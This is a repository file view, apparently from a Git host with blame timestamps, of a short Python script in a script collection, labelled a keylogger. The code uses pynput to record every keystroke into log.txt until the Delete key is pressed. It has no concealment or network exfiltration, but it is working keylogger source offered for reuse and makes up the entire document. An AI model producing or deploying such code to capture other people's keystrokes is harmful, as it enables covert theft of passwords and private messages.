Awesome-Python-Scripts/Keylogger/script.py

29 lines
526 B
Python
Raw Normal View History

2022-10-15 11:09:32 +00:00
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
2022-10-15 11:12:23 +00:00
keys.append(key)
write_file(keys)
2022-10-15 11:09:32 +00:00
def write_file(keys):
2022-10-15 11:12:23 +00:00
with open('log.txt', 'w') as f:
for key in keys:
#removing ''
k = str(key).replace("'", "")
f.write(k)
#explicitly adding a space after every keystroke for readability
f.write(' ')
2022-10-15 11:09:32 +00:00
def on_release(key):
2022-10-15 11:12:23 +00:00
if key == Key.delete:
return False
2022-10-15 11:09:32 +00:00
with Listener(on_press = on_press, on_release = on_release) as listener:
2022-10-15 11:12:23 +00:00
listener.join()